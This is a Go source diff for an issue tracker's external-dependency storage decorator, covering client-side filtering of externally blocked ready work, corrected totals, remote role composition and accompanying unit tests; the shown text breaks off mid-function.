+149,20 @@ func (s *Store) loadBlockingState(ctx context.Context) (blockingState, error) { return s.blockingStateFromRecords(ctx, allDeps) } +// serverEnforcesPolicy asks the inner store's ExternalDependencyPolicyProber, +// if it has one, whether its server already enforced this policy. +func (s *Store) serverEnforcesPolicy(ctx context.Context) (bool, error) { + prober, ok := storage.UnwrapStore(s.inner).(storage.ExternalDependencyPolicyProber) + if !ok { + return false, nil + } + enforced, err := prober.ServerEnforcesExternalDependencyPolicy(ctx) + if err != nil { + return false, fmt.Errorf("external dependencies: probe server policy: %w", err) + } + return enforced, nil +} + func (s *Store) blockingStateFromRecords(ctx context.Context, allDeps map[string][]*types.Dependency) (blockingState, error) { refs := make([]reference, 0) refsByIssue := make(map[string][]string) @@ -176,8 +203,16 @@ func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*t if err != nil { return nil, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWork(ctx, filter) + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + issues, err := s.inner.GetReadyWork(ctx, queryFilter) + if err != nil { + return nil, err + } + kept := dropBlockedIssues(issues, blockedIDs, filter.Limit) + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, err + } + return kept, nil } // GetReadyWorkWithCounts is the counts-bearing equivalent of GetReadyWork. @@ -186,8 +221,23 @@ func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFil if err != nil { return nil, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWorkWithCounts(ctx, filter) + return s.readyWorkWithCounts(ctx, filter, state) +} + +// readyWorkWithCounts is GetReadyWorkWithCounts' body against an +// already-loaded blockingState, which remoteReadyClaimer reuses across its +// passes. +func (s *Store) readyWorkWithCounts(ctx context.Context, filter types.WorkFilter, state blockingState) ([]*types.IssueWithCounts, error) { + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + rows, err := s.inner.GetReadyWorkWithCounts(ctx, queryFilter) + if err != nil { + return nil, err + } + kept, _ := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, err + } + return kept, nil } // GetReadyWorkWithCountsAndTotal applies the same external exclusions as @@ -199,8 +249,106 @@ func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types if err != nil { return nil, 0, err } - filter = withExternalExclusions(filter, state.refsByIssue) - return s.inner.GetReadyWorkWithCountsAndTotal(ctx, filter) + return s.readyWorkWithCountsAndTotal(ctx, filter, state) +} + +// readyExclusion resolves how this decorator applies its OWN additional +// exclusions (issues with an unsatisfied external blocker) against s.inner. +// +// A store that can express types.WorkFilter.ExcludeIDs over its own +// transport (every first-party SQL-backed store) gets them folded straight +// into the filter, exactly as before: the WHERE clause does the exclusion. +// +// A store that cannot (storage.ExcludeIDsUnsupportedStore — today only +// httpclient.Store: design 3.6 / L12 leaves listReadyWork with no +// id-exclusion parameter on the v0 wire at all) instead gets a bumped Limit +// and the exclusions applied client-side by the caller. Requesting +// Limit+len(refsByIssue) rows from the UNFILTERED ready set is provably +// enough headroom to still surface Limit genuinely-unblocked rows whenever +// that many exist: refsByIssue cannot hold more entries than the number of +// issues anywhere with an unsatisfied external blocker, so at most +// len(refsByIssue) of the bumped window's extra rows can be ones this +// decorator has to drop. Whichever path is taken, the policy itself is never +// skipped — only where the exclusion happens differs. +// +// The client-side path also takes the MaxRows cap off the inner query. That +// store caps the rows it fetched, which the bump lets outnumber Limit, so +// `--limit N --max-rows N` failed with exit 2 as soon as more than N issues +// were ready, refusing a page that could never exceed N. The caller enforces +// the cap on the rows it keeps instead (capKeptRows), after the Limit trim, +// which is where issueops enforces it on the rows a SQL store delivers +// (finishReadyWorkWithCounts). +func (s *Store) readyExclusion(filter types.WorkFilter, refsByIssue map[string][]string) (queryFilter types.WorkFilter, blockedIDs map[string]bool) { + if len(refsByIssue) == 0 { + return filter, nil + } + if unsupported, ok := storage.UnwrapStore(s.inner).(storage.ExcludeIDsUnsupportedStore); !ok || !unsupported.ExcludeIDsUnsupported() { + return withExternalExclusions(filter, refsByIssue), nil + } + blockedIDs = make(map[string]bool, len(refsByIssue)) + for issueID := range refsByIssue { + blockedIDs[issueID] = true + } + queryFilter = filter + if queryFilter.Limit > 0 { + queryFilter.Limit += len(blockedIDs) + } + queryFilter.MaxRows = 0 + queryFilter.MaxRowsSource = "" + return queryFilter, blockedIDs +} + +// capKeptRows enforces the MaxRows cap readyExclusion took off the inner +// query, on the kept rows the caller is handed. With nothing to drop +// client-side the inner query kept the cap and has already enforced it. +func capKeptRows(kept int, filter types.WorkFilter, blockedIDs map[string]bool) error { + if len(blockedIDs) == 0 { + return nil + } + return issueops.EnforceMaxRowsCap(kept, filter.MaxRows, filter.MaxRowsSource) +} + +// dropBlockedIssues is readyExclusion's client-side half: it drops the rows +// blockedIDs names and trims what remains to limit. It copies into a fresh +// slice rather than compacting issues in place, so the slice s.inner returned +// still holds every row it fetched. +func dropBlockedIssues(issues []*types.Issue, blockedIDs map[string]bool, limit int) []*types.Issue { + if len(blockedIDs) == 0 { + return issues + } + kept := make([]*types.Issue, 0, len(issues)) + for _, issue := range issues { + if issue != nil && blockedIDs[issue.ID] { + continue + } + kept = append(kept, issue) + } + if limit > 0 && len(kept) > limit { + kept = kept[:limit] + } + return kept +} + +// dropBlockedIssuesWithCounts is dropBlockedIssues for counts-bearing rows. It +// also reports how many rows it dropped from the whole fetched window (before +// the limit trim), which is the figure readyWorkWithCountsAndTotal subtracts +// from the inner store's total. +func dropBlockedIssuesWithCounts(rows []*types.IssueWithCounts, blockedIDs map[string]bool, limit int) (kept []*types.IssueWithCounts, dropped int) { + if len(blockedIDs) == 0 { + return rows, 0 + } + kept = make([]*types.IssueWithCounts, 0, len(rows)) + for _, row := range rows { + if row != nil && row.Issue != nil && blockedIDs[row.ID] { + dropped++ + continue + } + kept = append(kept, row) + } + if limit > 0 && len(kept) > limit { + kept = kept[:limit] + } + return kept, dropped } func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]string) types.WorkFilter { @@ -216,6 +364,80 @@ func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]st return filter } +// readyWorkWithCountsAndTotal is GetReadyWorkWithCountsAndTotal's body, split +// out so CountReadyWork's fallback (below) can reuse it against an +// already-loaded blockingState instead of loading it a second time. +func (s *Store) readyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter, state blockingState) ([]*types.IssueWithCounts, int, error) { + queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) + rows, total, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, queryFilter) + if err != nil { + return nil, 0, err + } + kept, blockedSeen := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) + if len(blockedIDs) == 0 { + return kept, total, nil + } + if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { + return nil, 0, err + } + + var adjustedTotal int + if total <= len(rows) { + // The fetch's own reported total says the window already held the + // entire ready set, so every blocked row the window contains is every + // blocked row the ready set contains: the subtraction is exact. This + // is judged from the rows that came back, not from the Limit asked + // for: a zero Limit means every row to a SQL store, but the http wire + // omits it and the server answers with its default page + // (workapi.DefaultReadyLimit), so an unlimited fetch can come back + // truncated too. + adjustedTotal = total - blockedSeen + } else { + // The ready set is bigger than the window that came back (the bumped + // window, or the server's default page for an unlimited fetch), so + // the window cannot say how many of its unseen rows are blocked. Nor + // can refsByIssue: it names every workspace issue with an unsatisfied + // external blocker, closed ones and ones the filter excludes included, + // and only those in the filtered ready set were ever in total. Size + // that set instead. bd ready's own page (above) is exact either way. + adjustedTotal, err = s.refetchedReadyTotal(ctx, filter, total, blockedIDs) + if err != nil { + return nil, 0, err + } + } + if adjustedTotal < len(kept) { + adjustedTotal = len(kept) + } + if adjustedTotal < 0 { + adjustedTotal = 0 + } + return kept, adjustedTotal, nil +} + +// refetchedReadyTotal sizes the externally filtered ready set when the first +// window held only part of it: it refetches the whole filtered set, ids only, +// and subtracts the blocked rows actually in it. A refetch that comes back +// truncated too (the set grew in between, or the server bounded the page) +// falls back to subtracting every blocked id, the bound least likely to +// overstate how much ready work remains. +func (s *Store) refetchedReadyTotal(ctx context.Context, filter types.WorkFilter, total int, blockedIDs map[string]bool) (int, error) { + full := filter + full.Offset = 0 + full.Limit = total + len(blockedIDs) + full.MaxRows = 0 + full.MaxRowsSource = "" + full.Lite = true + rows, fullTotal, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, full) + if err != nil { + return 0, err + } + if fullTotal > len(rows) { + return total - len(blockedIDs), nil + } + _, blocked := dropBlockedIssuesWithCounts(rows, blockedIDs, 0) + return fullTotal - blocked, nil +} + // CountReadyWork reports the externally filtered ready count. func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (int, error) { filter.Limit = 0 @@ -224,15 +446,14 @@ func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (in if err != nil { return 0, err } - filter = withExternalExclusions(filter, state.refsByIssue) if counter, ok := storage.UnwrapStore(s.inner).(storage.ReadyWorkCounter); ok { - return counter.CountReadyWork(ctx, filter) + return counter.CountReadyWork(ctx, withExternalExclusions(filter, state.refsByIssue)) } - issues, err := s.inner.GetReadyWork(ctx, filter) - if err != nil { - return 0, err - } - return len(issues), nil + // s.inner has no indexed counter (httpclient.Store among others): reuse + // the counts-and-total path above, which already copes with a store whose + // transport cannot express ExcludeIDs at all, nor this zero Limit. + _, total, err := s.readyWorkWithCountsAndTotal(ctx, filter, state) + return total, err } // ReadyCounter sizes the ready set through CountReadyWork above, so the total @@ -399,6 +620,8 @@ func matchesParentFilter(issueID string, parentID *string, allDeps map[string][] } // IsBlocked includes explicit unsatisfied external blockers in the close guard. +// A store that serves its roles refuses the reads this makes, so over one the +// per-issue roles in remote_roles.go answer instead. func (s *Store) IsBlocked(ctx context.Context, issueID string) (bool, []string, error) { blocked, blockers, err := s.inner.IsBlocked(ctx, issueID) if err != nil { @@ -429,7 +652,8 @@ func (s *Store) IsBlocked(ctx context.Context, issueID string) (bool, []string, // IsBlockedBatch preserves the external blocker invariant for batch callers. // The embedded Dolt implementation promotes this method from the wrapped // store, so it must be declared explicitly here rather than relying on -// IsBlocked alone. +// IsBlocked alone. Like IsBlocked, it refuses over a store that serves its +// roles. func (s *Store) IsBlockedBatch(ctx context.Context, issueIDs []string) (map[string]bool, error) { blocked, err := s.inner.IsBlockedBatch(ctx, issueIDs) if err != nil { @@ -463,7 +687,9 @@ func (s *Store) IsBlockedBatch(ctx context.Context, issueIDs []string) (map[stri // CloseIssueChecked applies the external guard before the atomic local close. // The local store cannot see foreign capability state, so promoting its method -// would allow an externally blocked issue to close without --force. +// would allow an externally blocked issue to close without --force. A store +// that serves its roles refuses this method; bd close goes through +// remoteBatchCloser (remote_roles.go) there. func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { if !opts.Force { issue, err := s.inner.GetIssue(ctx, issueID) @@ -484,7 +710,9 @@ func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, op } // GetDependencyTree appends external refs as synthetic leaf nodes because no -// local issue row exists for the normal graph hydrator to return. +// local issue row exists for the normal graph hydrator to return. A store that +// serves its roles refuses the reads this makes; bd dep tree goes through +// remoteTreeWalker (remote_roles.go) there. func (s *Store) GetDependencyTree(ctx context.Context, issueID string, maxDepth int, showAllPaths bool, reverse bool) ([]*types.TreeNode, error) { tree, err := s.inner.GetDependencyTree(ctx, issueID, maxDepth, showAllPaths, reverse) if err != nil || reverse || len(tree) == 0 { diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index 475c379d6..7cd6f3438 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -3,6 +3,7 @@ package externaldeps import ( "context" "errors" + "fmt" "slices" "testing" "time" @@ -15,22 +16,48 @@ import ( type fakeStore struct { storage.DoltStorage - ready []*types.Issue - blocked []*types.BlockedIssue - tree []*types.TreeNode - deps map[string][]*types.Dependency - labels map[string][]*types.Issue - labelErr error - claimed []string - isBlocked bool - blockerIDs []string - closed []string - lifecycle publicops.Lifecycle - batch *fakeBatchCloser + ready []*types.Issue + blocked []*types.BlockedIssue + tree []*types.TreeNode + deps map[string][]*types.Dependency + labels map[string][]*types.Issue + labelErr error + claimed []string + isBlocked bool + blockerIDs []string + closed []string + lifecycle publicops.Lifecycle + batch *fakeBatchCloser + enforced bool + enforcedErr error + + excludeIDsUnsupported bool + // defaultPage, when positive, is how many rows a zero-Limit ready listing + // returns, while GetReadyWorkWithCountsAndTotal's total still counts the + // whole set: httpclient.Store's shape, whose wire omits a zero limit so + // the server answers with its default page. Zero keeps the SQL stores' + // meaning, every row. + defaultPage int } func (f *fakeStore) IssueLifecycle() (publicops.Lifecycle, error) { return f.lifecycle, nil } +// ServerEnforcesExternalDependencyPolicy makes every fakeStore satisfy +// storage.ExternalDependencyPolicyProber. Defaulting to (false, nil) keeps +// every existing test's raw store on today's client-side-enforcement path +// unchanged; enforced:true is set explicitly only by the test below that +// pins loadBlockingState's skip branch. +func (f *fakeStore) ServerEnforcesExternalDependencyPolicy(_ context.Context) (bool, error) { + return f.enforced, f.enforcedErr +} + +// ExcludeIDsUnsupported likewise makes every fakeStore satisfy +// storage.ExcludeIDsUnsupportedStore. Defaulting to false keeps every existing +// test's exclusions folded into WorkFilter.ExcludeIDs; excludeIDsUnsupported: +// true models httpclient.Store, whose ready listings refuse ExcludeIDs (see +// GetReadyWork below), so the decorator must drop blocked rows client-side. +func (f *fakeStore) ExcludeIDsUnsupported() bool { return f.excludeIDsUnsupported } + // BatchCloser without BatchCloserWithPolicy models a backend that predates // storage.PolicyBatchCloserSource. func (f *fakeStore) BatchCloser() (publicops.BatchCloser, error) { return f.batch, nil } @@ -59,13 +86,29 @@ func (f *fakeLifecycle) Update(context.Context, publicops.UpdateRequest) (public } func (f *fakeStore) GetReadyWork(_ context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + candidates, err := f.readyCandidates(filter) + if err != nil { + return nil, err + } + limit := filter.Limit + if limit <= 0 { + limit = f.defaultPage + } + return page(candidates, filter.Offset, limit), nil +} + +// readyCandidates is the whole ready set filter admits, before paging. +func (f *fakeStore) readyCandidates(filter types.WorkFilter) ([]*types.Issue, error) { + if f.excludeIDsUnsupported && len(filter.ExcludeIDs) > 0 { + return nil, errors.New("fakeStore: ExcludeIDs cannot be expressed") + } candidates := make([]*types.Issue, 0, len(f.ready)) for _, issue := range f.ready { if !slices.Contains(filter.ExcludeIDs, issue.ID) { candidates = append(candidates, issue) } } - return page(candidates, filter.Offset, filter.Limit), nil + return candidates, nil } func (f *fakeStore) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { @@ -85,9 +128,7 @@ func (f *fakeStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter t if err != nil { return nil, 0, err } - unbounded := filter - unbounded.Limit, unbounded.Offset = 0, 0 - all, err := f.GetReadyWork(ctx, unbounded) + all, err := f.readyCandidates(filter) if err != nil { return nil, 0, err } @@ -242,7 +283,7 @@ func externalDep(source, ref string, depType types.DependencyType) *types.Depend return &types.Dependency{IssueID: source, DependsOnID: ref, Type: depType} } -func testStore(raw, foreign *fakeStore, configured bool) *Store { +func testStore(raw storage.DoltStorage, foreign *fakeStore, configured bool) *Store { return New( raw, func(project ProjectName) (string, bool) { @@ -321,6 +362,46 @@ func TestGetReadyWorkFailsClosedForUnconfiguredProject(t *testing.T) { } } +// TestLoadBlockingStateSkipsClientSideEnforcementWhenServerReportsItEnforced +// pins design 3.6's skip branch in loadBlockingState (internal/storage/ +// externaldeps/decorator.go) on its CURRENT shape: a remote store +// implementing storage.ExternalDependencyPolicyProber that reports +// enforced=true must stop this decorator from applying its own client-side +// exclusion at all. The S6 review's M5 mutation targeted an earlier, cruder +// "skip whenever the backend is remote" implementation that the HIGH-1 fix +// replaced with this probe-based design, so M5's exact mutation target no +// longer exists; this test gives the probe's own skip branch equivalent +// mutation coverage. Nothing else in the suite exercises enforced==true: see +// internal/httpclient/served_external_dependency_policy_test.go, which +// documents exercising only enforced==false against a real served server +// (OSS httpapi never advertises the capability). +// +// configured=false on the foreign-project locator reproduces the fail-closed +// path from TestGetReadyWorkFailsClosedForUnconfiguredProject: if the +// `if enforced { return blockingState{}, nil }` skip were removed or +// inverted, this would fall through to ordinary client-side enforcement, +// which cannot resolve "remote" and would exclude be-a. Seeing be-a survive +// is therefore proof the skip branch fired. +func TestLoadBlockingStateSkipsClientSideEnforcementWhenServerReportsItEnforced(t *testing.T) { + a := issue("be-a") + raw := &fakeStore{ + ready: []*types.Issue{a}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + enforced: true, + } + store := testStore(raw, &fakeStore{}, false) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(got); !slices.Equal(ids, []string{a.ID}) { + t.Fatalf("ready IDs = %v, want [%s] (a server-enforced probe should skip this decorator's own client-side exclusion)", ids, a.ID) + } +} + func TestGetReadyWorkFailsClosedWhenForeignReadFails(t *testing.T) { a := issue("be-a") raw := &fakeStore{ready: []*types.Issue{a}, deps: map[string][]*types.Dependency{ @@ -464,6 +545,183 @@ func TestReadyTotalsAgreeAcrossOutputModes(t *testing.T) { } } +// TestReadyTotalsWhenStoreCannotExpressExcludeIDs pins the path httpclient.Store +// takes: the decorator bumps Limit and drops externally blocked rows +// client-side, and the page, its total, and CountReadyWork must all still +// exclude them. be-a comes back first, ahead of the rows kept — the order in +// which compacting the fetched rows in place once overwrote be-a before the +// total's blocked-row count reached it, so the total came out 3, not 2. +func TestReadyTotalsWhenStoreCannotExpressExcludeIDs(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a, b, c}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + excludeIDsUnsupported: true, + } + store := testStore(raw, &fakeStore{}, true) + + for _, tc := range []struct { + name string + limit int + wantIDs []string + }{ + {name: "unlimited", limit: 0, wantIDs: []string{b.ID, c.ID}}, + // The bumped window (2+1) holds the whole ready set: the total is exact. + {name: "window holds the set", limit: 2, wantIDs: []string{b.ID, c.ID}}, + // The ready set outgrows the bumped window (1+1): the total is the + // inner total less every externally blocked issue. + {name: "set outgrows the window", limit: 1, wantIDs: []string{b.ID}}, + } { + t.Run(tc.name, func(t *testing.T) { + filter := types.WorkFilter{Limit: tc.limit} + issues, err := store.GetReadyWork(t.Context(), filter) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(issues); !slices.Equal(ids, tc.wantIDs) { + t.Fatalf("GetReadyWork IDs = %v, want %v", ids, tc.wantIDs) + } + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %v", err) + } + ids := make([]string, 0, len(rows)) + for _, row := range rows { + ids = append(ids, row.ID) + } + if !slices.Equal(ids, tc.wantIDs) || total != 2 { + t.Fatalf("page = %v, total = %d; want %v, total 2 (be-a is externally blocked)", ids, total, tc.wantIDs) + } + }) + } + + got, err := store.CountReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("CountReadyWork: %v", err) + } + if got != 2 { + t.Fatalf("ready count = %d, want 2 (be-a is externally blocked)", got) + } +} + +// TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage pins the shape +// httpclient.Store has and an every-row Limit==0 fake hid: the wire omits a +// zero Limit, the server answers with its default page, and the total still +// counts the whole ready set. CountReadyWork, text-mode bd ready's total, +// always fetches with Limit 0, so be-z (ready, externally blocked, and past +// that page) once stayed in its total because the decorator took a zero Limit +// for a window that held every row. +func TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage(t *testing.T) { + const defaultPage = 100 // workapi.DefaultReadyLimit, the server's page for an omitted limit + ready := make([]*types.Issue, 0, defaultPage+2) + for i := range defaultPage + 1 { + ready = append(ready, issue(fmt.Sprintf("be-%03d", i))) + } + z := issue("be-z") + raw := &fakeStore{ + ready: append(ready, z), + deps: map[string][]*types.Dependency{ + z.ID: {externalDep(z.ID, "external:remote:payments", types.DepBlocks)}, + }, + excludeIDsUnsupported: true, + defaultPage: defaultPage, + } + store := testStore(raw, &fakeStore{}, true) + const want = defaultPage + 1 // every ready issue but be-z + + counter, err := store.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + text, err := counter.CountReady(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("CountReady: %v", err) + } + if text.Total != want { + t.Fatalf("text total = %d, want %d (be-z is externally blocked)", text.Total, want) + } + // The JSON total must agree, whether the page is unlimited (the server's + // default page comes back) or the CLI's default limit (bumped by one). + for _, limit := range []int{0, defaultPage} { + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: limit}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal(Limit %d): %v", limit, err) + } + if len(rows) != defaultPage || total != want { + t.Fatalf("Limit %d: %d rows, total %d; want %d rows, total %d (be-z is externally blocked)", limit, len(rows), total, defaultPage, want) + } + } +} + +// TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet pins the +// total of a ready set bigger than the window that came back. refsByIssue +// names every workspace issue with an unsatisfied external blocker, closed +// ones and ones the filter excludes included, but only those in the filtered +// ready set were ever in the inner total, so subtracting all of them once +// reported 100 of 101 ready issues as soon as an issue outside the ready set +// held an external blocker. +func TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet(t *testing.T) { + const defaultPage = 100 // workapi.DefaultReadyLimit, the server's page for an omitted limit + for _, tc := range []struct { + name string + // readyBlocked adds be-z: ready, externally blocked, and past the page. + readyBlocked bool + // outside is how many externally blocked issues are not ready. + outside int + }{ + {name: "one blocked issue outside the ready set", outside: 1}, + {name: "blocked issues inside and outside the ready set", readyBlocked: true, outside: 20}, + } { + t.Run(tc.name, func(t *testing.T) { + ready := make([]*types.Issue, 0, defaultPage+2) + for i := range defaultPage + 1 { + ready = append(ready, issue(fmt.Sprintf("be-%03d", i))) + } + deps := make(map[string][]*types.Dependency) + if tc.readyBlocked { + z := issue("be-z") + ready = append(ready, z) + deps[z.ID] = []*types.Dependency{externalDep(z.ID, "external:remote:payments", types.DepBlocks)} + } + for i := range tc.outside { + id := fmt.Sprintf("be-done-%02d", i) + deps[id] = []*types.Dependency{externalDep(id, "external:remote:payments", types.DepBlocks)} + } + raw := &fakeStore{ + ready: ready, + deps: deps, + excludeIDsUnsupported: true, + defaultPage: defaultPage, + } + store := testStore(raw, &fakeStore{}, true) + const want = defaultPage + 1 // every ready issue but be-z + + counter, err := store.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + text, err := counter.CountReady(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("CountReady: %v", err) + } + if text.Total != want { + t.Fatalf("text total = %d, want %d", text.Total, want) + } + for _, limit := range []int{0, defaultPage} { + rows, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: limit}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal(Limit %d): %v", limit, err) + } + if len(rows) != defaultPage || total != want { + t.Fatalf("Limit %d: %d rows, total %d; want %d rows, total %d", limit, len(rows), total, defaultPage, want) + } + } + }) + } +} + func TestGetBlockedIssuesAddsUnsatisfiedExternalRefs(t *testing.T) { a, c := issue("be-a"), issue("be-c") raw := &fakeStore{ diff --git a/internal/storage/externaldeps/remote_roles.go b/internal/storage/externaldeps/remote_roles.go new file mode 100644 index 000000000..bc89f791d --- /dev/null +++ b/internal/storage/externaldeps/remote_roles.go @@ -0,0 +1,412 @@ +package externaldeps + +import ( + "context" + "errors" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// Remote role composition. +// +// The base accessors (role_accessors.go, batch_closer.go) rebuild each role +// over this store's legacy methods, which a SQL store implements in full. A +// remote store does not: httpclient.Store serves its roles over the wire and +// refuses most of the legacy methods those builds call (SearchIssuesWithCounts, +// IsBlocked, GetDependencyRecordsForIssues, GetDependencyTree, +// ClaimReadyIssue, BatchCloserWithPolicy), so the base accessors would fail +// `bd list`, `bd dep tree`, `bd ready --claim` and a policed close even in a +// workspace with no external dependency at all. Over such a store each +// accessor starts from the inner store's own role instead and layers the +// policy around it, before or after the served call. +// +// storage.RemoteBackendStore chooses that composition and nothing else. +// Whether the policy runs is still serverEnforcesPolicy's question (design +// 3.6), asked on every path that loads blocking state. + +// servesRoles reports whether the inner store serves its roles rather than +// building them over its legacy methods. +func (s *Store) servesRoles() bool { + remote, ok := storage.UnwrapStore(s.inner).(storage.RemoteBackendStore) + return ok && remote.IsRemoteBackendStore() +} + +// servedEdgeAnchors is the most anchors one served edge read names: the wire +// caps listDependencies' issue_id at 100 items, and the client passes a +// request through without chunking it. +const servedEdgeAnchors = 100 + +// servedEdges reads the stored outgoing edges of ids through the inner store's +// EdgeReader, the served stand-in for GetDependencyRecordsForIssues. A missing +// anchor contributes no edges. +func (s *Store) servedEdges(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + anchors := make([]string, 0, len(ids)) + named := make(map[string]bool, len(ids)) + for _, id := range ids { + if id != "" && !named[id] { + named[id] = true + anchors = append(anchors, id) + } + } + deps := make(map[string][]*types.Dependency, len(anchors)) + if len(anchors) == 0 { + return deps, nil + } + reader, err := s.inner.EdgeReader() + if err != nil { + return nil, err + } + for start := 0; start < len(anchors); start += servedEdgeAnchors { + end := min(start+servedEdgeAnchors, len(anchors)) + result, err := reader.ReadEdges(ctx, issueops.EdgeReadRequest{IDs: anchors[start:end]}) + if err != nil { + return nil, err + } + for _, anchor := range result.Anchors { + deps[anchor.ID] = append(deps[anchor.ID], anchor.Edges...) + } + } + return deps, nil +} + +// blockingStateFor is loadBlockingState narrowed to ids, for a role that names +// its issues and so needs only their edges. +func (s *Store) blockingStateFor(ctx context.Context, ids []string) (blockingState, error) { + if enforced, err := s.serverEnforcesPolicy(ctx); err != nil || enforced { + return blockingState{}, err + } + deps, err := s.servedEdges(ctx, ids) + if err != nil { + return blockingState{}, fmt.Errorf("external dependencies: list blocking records: %w", err) + } + return s.blockingStateFromRecords(ctx, deps) +} + +// plainDownTree reports whether req is the walk the policy decorates. Reverse +// walks do not follow a source's dependencies, and the status- or row-bounded +// variants keep the backend's own traversal semantics. +func plainDownTree(req issueops.WalkTreeRequest) bool { + return (req.Direction == "" || req.Direction == issueops.TreeDown) && req.Status == "" && req.MaxRows == 0 +} + +// isLostClaimRace classifies the refusals that mean someone else took a +// candidate first. ErrNotFound joins them, as in httpclient's own composed +// claim: a ready row deleted before it was claimed is the same situation for +// a caller that wants the next piece of work. +func isLostClaimRace(err error) bool { + return errors.Is(err, issueops.ErrAlreadyClaimed) || + errors.Is(err, issueops.ErrNotClaimable) || + errors.Is(err, issueops.ErrNotFound) +} + +// remoteReader serves List and Get from the inner store's reader: this store +// overrides no search or detail method, so neither loses any policy. Ready and +// a ready-flagged List go through the policy reader, whose ready listing drops +// externally blocked work. +type remoteReader struct { + served issueops.Reader + policy issueops.Reader +} + +func (r *remoteReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { + return r.policy.Ready(ctx, req) +} + +func (r *remoteReader) List(ctx context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + if req.ReadyFlag { + return r.policy.List(ctx, req) + } + return r.served.List(ctx, req) +} + +func (r *remoteReader) Get(ctx context.Context, req issueops.GetRequest) (*issueops.IssueDetails, error) { + return r.served.Get(ctx, req) +} + +// remoteClaimer refuses an externally blocked claim before the served one. +// Local blockers are the served claim's own answer: IsBlocked is a refused +// legacy method on a remote store, and the server checks its own graph. +type remoteClaimer struct { + served issueops.Claimer + policy *Store +} + +func (c *remoteClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + state, err := c.policy.blockingStateFor(ctx, []string{req.IssueID}) + if err != nil { + return issueops.ClaimResult{}, err + } + if refs := state.refsByIssue[req.IssueID]; len(refs) > 0 { + return issueops.ClaimResult{}, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, req.IssueID, refs) + } + return c.served.Claim(ctx, req) +} + +// remoteClaimPage is how many externally unblocked candidates one pass of +// remoteReadyClaimer reads, matching httpclient's composed ready claim. +const remoteClaimPage = 25 + +// remoteReadyClaimer hands the claim to the served ReadyClaimer when no issue +// in the workspace holds an unsatisfied external ref. Otherwise the served +// claim cannot be told what to skip — the wire's claim-next has no exclusion +// parameter — so it reads the policy's filtered ready page and claims down it +// through the served Claimer, as httpclient's own composition does for an +// older server. The same window applies: a row that gains a blocker between +// the listing and its claim can still be claimed. +// +// A closed holder counts too, as it does in every backend's blocking state. +// It can never be a candidate, so the composed claim takes the same issue the +// served one would. Leaving it out would cost a status read per holder, since +// the wire has no batch form of one. +type remoteReadyClaimer struct{ policy *Store } + +func (c *remoteReadyClaimer) ClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + if err := 